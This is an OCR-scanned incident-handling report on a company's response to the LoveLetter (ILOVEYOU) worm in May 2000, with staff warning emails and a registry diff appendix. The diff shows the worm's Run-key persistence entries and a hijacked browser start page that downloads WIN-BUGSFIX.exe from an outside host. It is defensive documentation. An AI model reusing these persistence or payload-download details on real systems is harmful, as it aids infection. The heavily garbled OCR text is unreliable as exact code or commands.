.___z ____________________ z __________
'ﬂ | l_ l_ r_g’ Fy Coamputer e

Photo Source; www.datafellows.com/f-secure

During the day of May 4, 2000, the virus-related Internet web sites were very slow to
respond to requests. Everyone was desperately attempting to gather information about
this ravenous worm. During widespread outbreaks, when information is found on the
web, it should be printed or saved to disk for later reference. You can’'t alwaysrely on
the fact that you'll be able to refer back to that page dueto heavy load when you need to
verify acritical piece of the identification. Such as“did the article say that the registry
modification was in HKEY _LOCAL_MACHINE or HKEY LOCAL_USER?
Remember that everyone is in the same situation as you—desperately seeking information.
Some of this information was stored in afolder by the lead incident handler.

Eventually we realized that registry entries were being made by the worm to execute
itself again when a system boots. | then notified users again using a company wide
email. See attachment 2.

Containment

Attempts to warn the user community through email was falling on deaf ears. Userswere
executing the worm at an alarming rate. 15 machines were infected within 30 minutes of
my initial email warning and our Exchange server had over afifteen hundred emails that
were causing excess server loads. We have a very large public shared volume on the NT
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server and it had approximately 1800 infected files. Each time the worm was executed
those 1800 files, which were now all VBS scripts, were being replaced with the worm.

The decision was then made to disconnect the NT server from the network and to halt the
Exchange server. The server was under such great load at this point that it was not
fulfilling itsrole as afile server anyway.

At this point we realized that the same people were executing the worm multiple times.
Either by purposely executing the attachment or by rebooting. | sent another email (see
attachment 3) asking users to not reboot their systems and send infection notices via
email or phone to our support team, and | notified the users that we'd taken down the
Exchange server.

We made alist of known infected machines and sent a crew around the building to each
machine to disconnect it from the network and place a note on the machine explaining
that it was infected and was not to be used until further notice.

We posted flyers around the building warning users about the worm.

We didn’t know to make a decision to either enter evidence-gathering mode for
prosecution purposes or to continue with the other phases of the incident. Evidence
gathering never entered our minds because the perpetrator was not in our building, so we
continued with the other phases of the incident.

Eradication

We determined we had two types of infections. One type of infection was Windows
client systemsthat had executed the script. The second type of infection was our NT
server, which simply had infected files on shared drives. Itsregistry was not infected but
the system would still need to have the worm removed from all shared disks and from its
Exchange database.

Windows 95 Eradication

We had found different instructions on eradication methods for this worm, and it seemed
that all were basically the same but had variations. Two excellent sources of information
that we were able retrieve from the Internet were from www.datafellows.com and
www.wired.com.

We decided to infect a machine under controlled circumstances to determine the effects.
We removed a Windows 95 machine from the network and did a quick baseline of its
files and directories using these commands:

C\>dir /s >c:\filelist.txt
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C\>dir *.vbs /s > c:\vbslist.txt

And we performed a quick baseline of it’sregistry using REGEDIT.EXE to export the
entire registry to afilenamed c: \ regl i st. t xt . We zipped those files and placed
them on afloppy.

Then we purposely executed the VBS script to infect the system. After the infection was
complete, we ran our baselines again and copied the zip filesto a different floppy.

A different un-infected machine was used to copy these files to a UNIX machine so that
we could usethedi f f program to analyze what had changed. The following command
was used:

diff regb4.reg regafter.reg
The full output of the diff program is shown in Listing 1. When a difference was found
we used the UNIX vi editor to examine the line in the infected file to determine which
branch of the registry the discrepancy occurred. Here are some of the significant lines of
the output.

4800a4801

> "MSKer nel 32" ="C: \\ W NDOWB\ \ SYSTEM \ MSKer nel 32. vbs"
4837a4839

> "W n32DLL"="C: \\ W NDONB\ \ W n32DLL. vbs"

This line shows the recent programs executed which was the LoveL etter from a floppy.
97178c97179, 97180
< "MRULi st"="a"
> " MRULi st "="ba"
> "pb"="A\\boats.jpg.vbs\\1"

This shows the new Internet Explorer Start Page.

97531c97533

< "Start Page"="http://inside.xxxx.edu/internal/"

> "Start Page"="http://ww. skyinet.net/-
chu/ sdgf hj ksdf j kI NBrmf gkKLH kgwt uHIBhAFSDG khYUgqwer a
sdj hPhj asf dgl kNBhbgwebnznxcbvnmadshf ggw237461234i uy 7t
hj g/ W N- BUGSFI X. exe"

101268a101271

Examining the file differences was a little more tedious. | do not have records of exactly
what we found. We decided that we couldn’t determine which files were prone to
infection using this method. We were however able to determine that no new directories
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were created. We were confident that we could search for fileswith a VBS extension and
the infected ones would have afile size of 10307 bytes.

These tests gave us a good idea of where to begin to clean a system. Windows utilitiesto
perform these same functions have now been added to our toolkit.

We then examined the VBS source code using atext editor to determine if we had missed
anything with our baseline. We realized that we needed to check to seeif IRC was
installed and if so to removethescri pt. i ni filecreated by the worm. Our test
system didn’t have IRC.

We now thought that we could disinfect a system by hand if we needed to. Teams went
to each system with a list of files and registry entries to seek out and delete. We
disinfected all 15 infected systems and allowed them to be placed back in use. Except
that we did not allow them to be connected to the network. After official disinfections
from our Ant-Virus vendor software, we would re-connect the machines to the network
later that afternoon.

Windows NT 4.0 Eradication

We used Windows Explorer Find command to list all fileswith a VBS extension and then
sorted by size. All the found files were 10307 bytes large. We deleted them. We deleted
them by holding down the shift key and pressing the delete key. This overridesthe
default delete method of placing files in the recycle bin.

The hidden files MP2 and MP3 were found and the hidden attribute was removed. We
have since added HFIND.EXE, which lists hidden NT files, to our toolkit.

Cleaning the Exchange database was much more involved. We were not using Outlook
for email communication so we didn’t see a need to spend the time backing up the NT
Server or the Exchange information store before attempting to disinfect it.

The decision was made to wait until a virus definition could be obtained in order to
disinfect the Exchange database. We were able to install atrial version of Groupshield
from McAfee and used it to disinfect and further protect the Exchange information store.

We also decided to use a new Microsoft Tool name | SSCAN.EXE to make sure that all
of the attachments had been removed.

“Isscan.exe is a new utility that enables

adm nistrators to scan the Exchange Server 5.x private
or public information store and renbpve nessage
attachnents based on the attachnment nanme or the
nmessage subject. This tool is nost useful for the
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renoval of virus-infected attachnments fromthe
i nformati on store and scans for the Melissa virus by
def aul t . ” ISSCAN.EXE ReadMefile

We carefully examined the tool directions and created a configuration file
(I oveyou. t xt ) with cleaning instructions. The contents of that file:

ATTACH LOVE- L~1. VBS 13000 15000

ATTACH LOVE- LET. VBS 13000 15000
MSG | LOVEYQU 2000/ 05/ 04

We ran this command:
I sscan.exe -fix -pri -c Iloveyou.txt -test badattach
Output from ISSCAN.EXE:

[ Mcrosoft Exchange Information Store Virus Scanner
v15. 5. 2652. 26

Copyright (c) 1986-1997 M crosoft Cornp. Al'l rights
reserved.
Started: 05/11/01 12:37:01

Server nane: ntl.ipst.edu

Store path: D:\exchsrvr\ NDBDATA\ PRI V. EDB

Store size: 2464161792 bytes

Qut put |l og: isscan.pri

Check node: check and fix

Options: -fix -pri -c Iloveyou.txt -test badattach ]

We then connected the NT server to a network hub with a Windows client machine
running Outlook to verify that the mailboxes were clean.

Recovery

We paused to analyze what had taken place so far. We realized that we had only cleaned
the machines that either sent emails through the Exchange server or that the user had
notified us about.

We needed away to determine if a machine was infected. And we preferred to determine
this automatically. Each NT user has a Windows batch (BAT) file defined in their user
properties to be executed when they log in to the domain. We decided to use our login
script to look for the filec: \ W NDOWS\ SYSTEM MSKer nel 32. vbs. If thefile
existed then we knew we had an infected system.
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Our login script is based on a product named KIXTART (www.kixtart.org). Itisa
feature rich Windows shell scripting language. The many things we can examine with it
arefiles and registry values.

The login script batch file calls KI X32. EXE with our Kix script. The batch file looks
like this:

@cho Please Wait...

@f exist "c:\programfiles\ipst\kix\kix32.exe"
"c:\programfiles\ipst\kix\kix32.exe"
9O\ . . \kixtart. ki x

@f not exist "c:\programfil es\xxxx\Kki x\ ki x32. exe"
%0\ ..\ ki x32.exe 9%®\..\kixtart.kix

The second line looks to see if the ki x32. exe program exists on the local machine, if it
does, then it’s executed there. Thisisfor our VPN usersthat have slow dialup
connections. Line 3 will execute the Kix program from the server. The Kix script is
always launched from a location relative to the login batch file. %@ is an environment
variable that contains the full path to the batch file. Kix will ignore the batch file name
when determining where to get it’s script.

Here is the section of our Kix script to look for the existence of this file and then log
information to afile.

IF Open( 3, "N\LOVEALOG LOVE.LOG', 5) =0
$Result = Exist("c:\w ndows\syst em MsKer nel 32. vbs" )
|F $Result =1
$x = WiteLine( 3, @QSERI D + " on workstation " +

@\KSTA + " - Love Letter Virus detected " + Chr(13)
+ Chr(10) )
$x = WiteLine( 3, " Found
c:\wi ndows\ syst eml MSKer nel 32.vbs " + @ATE + " " +
@l Me + Chr(13) + Chr(10) )
ENDI F
ENDI F

| didn't redlize it at the time, but we should have used the Kix variable for the Windows
System directory instead of hard coding it into our Kix script. We were only scanning
non-NT systems that had a default Windows directory.

We monitored this log file for several weeks after the incident and no further infections
were detected.
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We also decided to place a bogus file named AFILE.VBS in the public shared partition
and would monitor the size of that file for several weeks. If its size suddenly became
10307, then we'd know that we had another infection in the company. Thiswas asimple
indicator to determine if we had another outbreak.

By thistime virus definitions were available. Everyone in the world was trying to
download them. The web site was barely responding and was extremely slow. We
finally were able to get a copy and decided to place it on a network drive so that everyone
in the company could update using this copy instead of attempting to get a copy from the
vendor.

The shared public NT drive, which contained the most infected files, was used for
temporary storage. We placed the NT server back in service and sent a company-wide
email asking people to request arestoration of any missing files instead of restoring
everything from the recent backup. Thiswas done because the publicly writeable area of
the NT server isused for temporary redundant storage and most of the users either didn’t
need the files or had copies of them on their workstations.

We made floppy copies to be taken to the 15 infected Windows machines and disinfected
them before returning them to service and reconnecting them to the network.

Everyone was doing his or her updates. Our microcomputer support staff spent a great
deal of time assisting users who had not run virus protection in the past and now wanted
torunit.

Twenty-four hours after the incident the I'T manager sent an email to the company giving
an explanation of what had occurred. See Attachment 4.

L essons L ear ned

The Lessons Learned phase is probably the most valuable phase of incident handling. It
is here that we have the opportunity to reflect on the mistakes that were made in the
previous phases and develop improvementsto eliminate or lessen them. We also have
the opportunity to reinforce the positive aspects of the 6 phases of incident handling. We
learned a great deal from this incident.

If someone from the Information Technology Department had taken a course or was
certified in incident handling, we would have been better prepared.

We could have been better prepared with awritten incident policy. It would have made
for an organized approach to thisincident. At most we were just doing what came
natural and in many cases duplicating work.
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We migrated the major business function of group scheduling to Microsoft Outlook and
we didn’t re-examine our security posture as it related to this migration.

Everything listed in the section “How to Protect Against Lovel etter” was lessons
learned. We changed the standard install policy of Windows machinesto not hide the
filename extensions. We made virus protection mandatory and used our login tool to
examine registry key values to determine and enforce this policy. We now check to seeif
virus protection is installed and the version number of its definitions by examining
registry entries on workstations upon login.

Official decisions about evidence gathering, about backups or restores, etc. were not
made. We didn’t know they needed to be officially made and recorded. We just made
them.

It never entered our mind to consider chain-of-custody pertaining to evidence, or
evidence gathering. We didn’t know about it and couldn’t have done it if we wanted to
doit. If our company had wanted to prosecute, we wouldn’'t have any legal evidence.

We learned that Microsoft Outlook’s information store was not being scanned for viruses.
This function required an add-on product that we hadn’t purchased. The virus protection
product that we were using only scanned the NT filesystem. The add-on application,
provided by our virus protection vendor, proved to be too costly. But, we were able to
purchase an add-on application to our backup software at a great cost saving. We
immediately purchased this add-on product.

Userswill still click on attachments. We must constantly stress the importance of not
clicking on attachments. We must periodically re-educate users about the types of
viruses and hoaxes, which are plentiful on the Internet.

We must scan email attachments for known viruses at the company email gateway and
remove them from emails before they make it to the user’s desktops. Having virus
protection would have not prevented this incident because the needed definitions were
not available until after we were infected. But thiswould prevent the 95% of incidents
attributed to known attacks.

We can perform email filtering. If we can reject, or at least quarantine, an email based on
characteristics such as subject, attachment name, or attachment size, we can easily stop
email worms before virus definitions are available.

Thereis now alist of required reading and review of security related material:

» Top Twenty Internet Security Threats <www.sans.org/toptwenty.htm>
» Sans Step By Step Guides for Securing UNIX, NT, etc.
» Center for Internet Security Minimum Security Settings <www.cisecurity.org>
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Information Technology personnel need constant training. They also need to be given the
time to review security bulletins and analyze vulnerabilities.

Sending an email to the company about an email problem was ineffective. Especially
after the incident escalated. The building signs probably were the most effective
communication tool. We should develop communication methods that do not rely on the
computer systems or the network we aretrying to protect.

We should keep pre-made signs for posting at key points around our building. We spent
agreat deal of time answering the same questions from concerned employees. As part of
our incident plan we would have nominated someone to disseminate answers.

We should have selected a lab machine that can be used as atest bed. It should be
baselined so that we can disconnect it from the network and execute any worms on it and
then dissect the infection to timely determine the signature. A baseline of the registry,
hidden files, all filesinstalled would allow such a study.

One step in the identification phase required us to copy text filesto a UNIX machine for
comparison. We should have had the di f f software from the Windows Resource Kit.

We didn't have toolkits. We had the tools, but they weren't organized into a kit and we
should have tested our tools. We might have looked for adi f f program for Windows if
we had tested for this scenario.

We need to rehearse incident handling. We can do this by tresting even the smallest
incident by-the-book and perform a complete handling of it.

CONCLUSION

Overall we handled the incident well. Our NT server was unavailable for just under five
hours. The incident required approximately 70 man-hoursto handle. We were also very
proud that no one outside the company received a single Lovel etter from us.

It was avery valuable incident in that we learned a great deal about our vulnerabilities
and about our sporadic incident handling techniques.

We were fortunate that Microsoft Exchange was not being used as business critical
application (asit istoday) and that the majority of employees were able to perform their
work with minimal effect.
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First Email War ning (Attachment 1)

Date: Thu, 04 May 2000 09: 03: 58 -0400
To: company-w de@xxxx. edu
Subject: Virus Alert "LovelLetter"

DO NOT CLI CK ON THE ATTACHVENT WTH TH S MESSAGE!

http://ww. dat af el | ows. com v-descs/ | ove. ht m

Then the wormwi Il use Qutlook to nmass mail itself to everyone in
each
address book. The nmessage that it sends will be as foll ows:

Subj ect : | LOVEYQU

Body: ki ndly check the attached LOVELETTER coni ng from ne.

Attachnent: LOVE- LETTER- FOR- YOU. TXT. vbs

Second Email War ning (Attachment 2)

Date: Thu, 04 May 2000 09: 06: 22 -0400
Subject: Virus Alert "LovelLetter"

If you have already clicked on the attachnent, please DO NOT REBOOT
YOUR COWPUTER! Send an enmail to pc.support @xxx.edu or call us to
notify us that you executed the attachment.

http://ww. dat af el | ows. com v-descs/ | ove. htm

Then the wormwi Il use Qutlook to nass mail itself to everyone in
each address book. The nessage that it sends will be as foll ows:
Subj ect : | LOVEYQU
Body: ki ndly check the attached LOVELETTER coni ng from ne.
Attachnment: LOVE- LETTER- FOR- YOU. TXT. vbs
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Announcement Of Infection (Attachment 3)

Date: Thu, 04 May 2000 09:57:30 -0400
To: company-w de@xxxxx. edu
Subj ect: VBS/ LovelLetter is a VBScript worm

This wormis w de spread at conpany XXXXXX

Pl ease do not execute (click on) the attachment associated with an
email with the subject of ILOVEYOU. Al so please do not click on any
files with the extension of VBS. Sinply del ete the nessage.

If you have al ready executed such an attachment or executed a VBS
file, please do not shutdown or reboot your conputer! Notify PC
Support for instructions.

We have tenporarily shut down our exchange server to prevent further
propagation. W will notify you when we have restarted it.

Be WARY of any attachnent sent via emil.

MORE WORM DETAI LS
After executing, the wormwi Il infect your system and then mass
emai|l to each recipient in your Qutlook address book

The wormthen searches for certain filetypes on all folders on all
local and renpte drives and overwites themwth its own code. The
files that are overwitten have either "vbs" or "vbe" extension

For the files with the follow ng extensions: ".js", ".jse", ".css"
".wsh", ".sct" and ".hta", the wormw Il create a new file with the
sane name, but using the extension ".vbs". The original file will be

del et ed.

Next the worm |l ocates files with ".jpg", ".jpeg", ".np3" or ".nmp2",
adds a new file next to it and deletes the original file. For
exanpl e, a picture named "pic.jpg" will cause a new file called
"pic.jpg.vbs" to be created.

LovelLetter was found globally in-the-wild on May 4th, 2000. It | ooks

like the wormis Philippine origin.
SOURCE- - <ht t p: / / ww. dat af el | ows. conmf v- descs/ | ove. ht n»
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Final Email Wrap-Up From It Manager (Attachment 4)

Date: Fri, 05 May 2000 13:24:39 -0400

From | T Manager

To: conpany-w de@XxXXXxXX. com

Subj ect: Conmpany News: Status of | LOVEYQU "virus" at | PST

On Thursday, several systenms at XXXXXX were infected with the "Love
Bug virus" (technical speaking, it's a worm not a virus). The
first thing to learn fromthis is NEVER open an e-mail attachnent
(or any file) unless you know who sent it to you AND what it is
supposed to be. If you are unsure, contact the sender (via phone or
e-mai | ) and ask for an expl anation.

The Love Bug wormis destructive (it renmoves or overwites nost
files with extensions of .jpg, .np3, .js, and others), and it
spreads very quickly by e-mailing itself to everyone in the Qutl ook
address book. It also attenpts to install a separate programthat
attenpts to steal passwords fromyour system It does not affect
Maci nt osh or Uni x systens.

To determine if your systemis infected, check for a file naned
"Wn32DLL.vbs " in your c:\wi ndows (or c:\winnt) directory. The
file my show as just "Wn32DLL" dependi ng on your settings for
W ndows Explorer. If you have this file, your systemis infected.
Contact the IT departnent by e-mailing pc.support. |f you do not
have the file, your systemis not infected.

Several variations of this wormare now floating around with
di fferent Subject: lines, so again, DO NOT open attachnents unl ess
you know what they are.

As | nentioned earlier, this wormis destructive, and it overwote
many files in the S:\Public folder on the file server and in other
directories that were accessible to infected users. [If you need any
files restored that were on the server, contact pc.support. |If
files on your hard drive were affected, just reload them from your
nost recent backup.

When the wormwas first discovered, we shut down the M crosoft
Exchange Server (which handl es CQutl ook nmessages) to prevent it from
spreading to nore people. W have now installed updated virus
definition files to prevent the spread, so the Exchange server is

up, and Qutlook is functioning again. It should be noted however,
that at the tinme all this started no definition existed for this
worm so the only way to prevent its infiltration was to NOT OPEN
unknown attachnments. (1 think sonmeone told me once that to nmake a
poi nt, you have to tell someone, tell themagain, and then tell them
that you told them (or sonething like that)).
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UNIX DI FF OUTPUT REGISTRY COMPARISON (LISTING 1)

4800a4801

> " MBKer nel 32"="C:\\ W NDOWB\ \ SYSTEM \ MSKer nel 32. vbs"
483724839

> "W n32DLL"="C: \\ W NDOWB\ \ W n32DLL. vbs"

19083d19084

< "Qutl ook Setup Extension"="4.0; Qutxxx.dll;7;000000000000000; 0000000000; Qut xXX'
65634c65635

< @"Mcrosoft Qutlook 8.0 Chject Mdel"

> @"Mcrosoft Qutlook 8.0 Object Library"”

65642c65643

< @"C\\Program Files\\M crosoft O fice\\Ofice\\nsoutl 8. ol b"

> @" C \\ PROGRAM FI LES\\ M CROSOFT OFFI CE\\ OFFI CE\\ nsout | 8. ol b"
81868c81869

< "Last Ti meAl | ocat ed" =hex: €0, dd, 80, a8, b2, 21, d4, 01

> "Last Ti meAl | ocat ed" =hex: 60, 07, ca, 8c, b3, 21, d4, 01

97178c97179, 97180

< "MRULi st"="a"

> "MRULI st"="ba"

> "p"="A:\\boats.|pg.vbs\\1"

97531¢97533

< "Start Page"="http://inside.xxxx.edu/internal/"

> "Start Page"="http://ww.skyinet.net/-

chu/ sdgf hj ksdf j kIl NBrmf gkKLH kqwt uHIBhAFSDG khYUgqwer asdj hPhj asf dgl kNBhbgwebneznxcbvnmadshf
ggw237461234i uy7t hj g/ W N- BUGSFI X. exe"

101268a101271

> "Defaul tProfile"="Mcrosoft Qutlook"

101269al 01 273, 101404

> [ HKEY USERS\. DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
Qut | ook]

> "Profile U D'=hex: a0, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, cO, f0, 47, ca, 6a, 00
>

> [ HKEY USERS\. DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
Qut | ook\ 8503020000000000c0000000000000461

>"0102300b" =hex: al , d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, cO0, f 0, 47, ca, 6a

>

> [ HKEY USERS\. DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
Qut | ook\ 0a0d020000000000c000000000000046]

"000bOl | 5" =hex: 00, 00

"000bol I | "=hex: 01, 00

"000boOl | 8"=hex: 01, 00

"000b0350" =hex: 00, 00

"000b0332" =hex: 00, 00

"000b032b" =hex: 00, 00

"000b0344" =hex: 00, 00

"0003013b" =hex: 02, 00, 00, 00

"000b0320" =hex: 01, 00

"000b0321" =hex: 01, 00

"000b0322" =hex: 01, 00

"00030324" =hex: Oe, 00, 00, 00

"000b033c" =hex: 00, 00

"00l e0325"="0"

"000b0I 32" =hex: 00, 00

"000bO0l 41 "=hex: 00, 00

"000bO0l 4c" =hex: 00, 00

"0003014f " =hex: 00, 00, 00, 00

"00030140" =hex: 01, 00, 00, 00

VVVVVVVVVVVVVVYVVYVYVYV
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"000b0I 42' | =hex: 01, 00
"000bO0l 4b" =hex: 00, 00
"000bO0l 4d" =hex: 00, 00
"000bO0l 30" =hex: 01, 00
"000bO0l 31 "=hex: 01, 00
"000b0205" =hex: 01, 00
"000b0208" =hex: 01, 00
"000b0338" =hex: 00, 00
"000b0339" =hex: 00, 00
"000b03l 9" =hex: 00, 00
"000b023e" =hex: 01, 00
"000b023f " =hex: 01, 00
"000b0240" =hex: 00, 00

"0003033d" =hex: 02, 00, 00, 00

"01020341" =hex: 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, \

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00

0, 00

0, 00

0, 00

0, 00

0, 00

0, 00

0, 00

0, 00

00

00

0
0
0
0

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,0
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,0
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00
"01020343"=hex: 01, 00, 00, 00, 10, 00, 00, 00, ab, d7, bO, 81, b3, 21, d4, 11, 9d, 16, 00, cO, f0, \

47, ca, 6a, 02, 00, 00, 00, 02, 20, 00, 00, 00, 00, 00, 00, 00, 00, 01, 80, 23, 82, 00, 00, 08, 20, \
00, 00, 00, 00, 00, 00, 00, 00, 00, 80, 03, 85, 00, 00

[ HKEY USERS\ . DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
t | ook\ a2d7b08l b321 d4l | 9dl 600c0f 047caba]

" 00l e3d0a" ="nspst.dl | "

" 10l e3d0f "=hex: 01, 00, 00, 00, 08, 00, 00, 00, 6d, 73, 70, 73, 74, 2e, 64, 6¢, 6C, 00

" 00l e3d0b" =" PSTSer vi ceEntry"

"00033009" =hex: 20, 00, 00, 00

"001e3001"="Per sonal Fol ders"

"01023414" =hex: 4e, 49, 54, 41, f 9, bf , b8, 01, 00, aa, 00, 37, d9, 6e, 00, 00

" 00l e3d09" =" MSPST M5"

"01023d00" =hex: a3, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, cO0, f 0, 47, ca, 6a

QVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV

[ HKEY - USERS\. DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng

ubsystem Profil es\M crosoft Qutlook\a3d7b08l b321 d4l | 9dl 600c0f 047ca6a]

"01023414" =hex: 4e, 49, 54, 41, f 9, bf , b8, 01, 00, aa, 00, 37, d9, 6e, 00, 00

"00l e300a" ="nspst.dl "

"00033e03" =hex: 21, 00, 00, 00

"00033009" =hex: 02, 00, 00, 00

"001e3001" =" Per sonal Fol ders"

"001e3006" =" Per sonal Fol ders"

"01023d0c" =hex: a2, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f 0, 47, ca, 6a

" 00l e3d09" =" MSPST M5"

"01020f f f " =hex: 00, 00, 00, 00, 38, al , bb, 10, 05, e5, 10, | a, al , bb, 08, 00, 2b, 2a, 56, c2, 00, \
00, 6d, 73, 70, 73, 74, 2e, 64, 6¢c, 6¢, 00, 00, 00, 00, 00, 4e, 49, 54, 41, f 9, bf , b8, 01, 00, aa, \
00, 37, d9, 6e, 00, 00, 00, 43, 3a, 5c, 57, 49, 4e, 44, 4f , 57, 53, 5¢, 6f, 75, 74, 6¢, 6f, 6f, 6b, \
2e, 70, 73, 74, 00

" 00l e6700" =" C: \\ W NDOWA\ \ out | ook. pst "

"01020f f 9" =hex: ab, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f 0, 47, ca, 6a

VVVVVVVVVVVVVVQHVVVVVVVYVYVYV
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>
> [ HKEY USERS\. DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
Qut | ook\ 9207f 3e0a3bl | 0 9908b08002b2a56¢2]
"01023d00" =hex: a3, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f0, 47, ca, 6a
"01023d0e" =hex: a2, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f0, 47, ca, 6a, a5, d7, b0, 81, b3, \
21,d4, 11, 9d, 16, 00, c0, f 0, 47, ca, 6a
"01023d0l "=hex: a6, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f0, 47, ca, 6a

VVVVVYV

[ HKEY USERS\ . DEFAULT\ Sof t war e\ M cr osof t \ W ndows Messagi ng Subsystem Profil es\ M crosoft
t | ook\ 13dbb0c8aa05! 0l a9bb000aa002f c45a]
' 100036661" =hex: 00, 00, 00, 00

[ HKEY USERS\ . DEFAULT\ Sof t war e\ M cr osof t\ W ndows Messagi ng Subsystem Profil es\ M crosoft
t | ook\ a5d7b08I| b321 d4l | 9dI 600c0f 047caba]

" 00l e3d0a"="contab.dl I "

" 10l e3d0f "=hex: 01, 00, 00, 00, 08, 00, 00, 00, 63, 6f, 6e, 74, 61, 62, 2e, 64, 6¢, 6¢, 00

Qu
>
>
>
Qu

" 00l e3d0b" ="Servi ceEntry"
"00033009" =hex: 22, 00, 00, 00

" 00l e3d09" =" CONTAB"

" 00l e3001"="Qut | ook Address Book"

"01023d0l "=hex: a6, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f 0, 47, ca, 6a

VVVVVVYVYVYV

[ HKEY USERS\ . DEFAULT\ Sof t war e\ M cr osof t \ W ndows Messagi ng Subsystem Profil es\ M crosoft

Qut | ook\ a6d7b08Il b321 d4l | 9dl 600c0f 047caba]

" 00l e300a"="contab.dl I "

"00033e03" =hex: 23, 00, 00, 00

" 00l e3006" =" Qut | ook Address Book"

"01023d0c" =hex: a5, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f0, 47, ca, 6a

"00l e3d09l ' =" CONTABI

" 00l e3001"="Qut | ook Address Book"

"00033009" =hex: 00, 00, 00, 00

"01026601" =hex: a8, d7, b0, 81, b3, 21, d4, 11, 9d, 16, 00, c0, f 0, 47, ca, 6a

"11026620" =hex: 01, 00, 00, 00, 18, 00, 00, 00, Oc, 00, 00, 00, 00, 00, 00, 00, ab, d7, b0, 81, b3, \
21, d4, 11, 9d, 16, 00, cO0, f 0, 47, ca, 6a, 42, 81, 00, 00

"10036621" =hex: 0f , 01, 04, 80

"10l e6622" =hex: 01, 00, 00, 00, 08, 00, 00, 00, 50, 65, 72, 73, 6f, 6e, 61, 6¢, 20, 46, 6f, 6¢, 64, \
65, 72,73, 00

"10l e6623" =hex: 01, 00, 00, 00, 08, 00, 00, 00, 43, 6f, 6e, 74, 61, 63, 74, 73, 00

"10l e6624" =hex: 01, 00, 00, 00, 08, 00, 00, 00, 43, 6f, 6e, 74, 61, 63, 74, 73, 00

"10036625" =hex: 01, 00, 00, 00

"11026626" =hex: 01, 00, 00, 00, 4c, 00, 00, 00, Oc, 00, 00, 00, 00, 00, 00, 00, 38, al, bb, 10, 05, \
e5, 10, | a, al , bb, 08, 00, 2b, 2a, 56, c2, 00, 00, 6d, 73, 70, 73, 74, 2e, 64, 6¢, 6¢, 00, 00, 00, \
00, 00, 4e, 49, 54, 41, f 9, bf , b8, 01, 00, aa, 00, 37, d9, 6e, 00, 00, 00, 43, 3a, 5c, 57, 49, 4e, \
44, Af | 57, 53, 5¢, 6f, 75, 74, 6c¢, 6f , 6f , 6b, 2e, 70, 73, 74, 00

VVVVVVVVVVVVVVVYVYVYVYVYV

>

101296al 01432

> @dwor d: 00000001

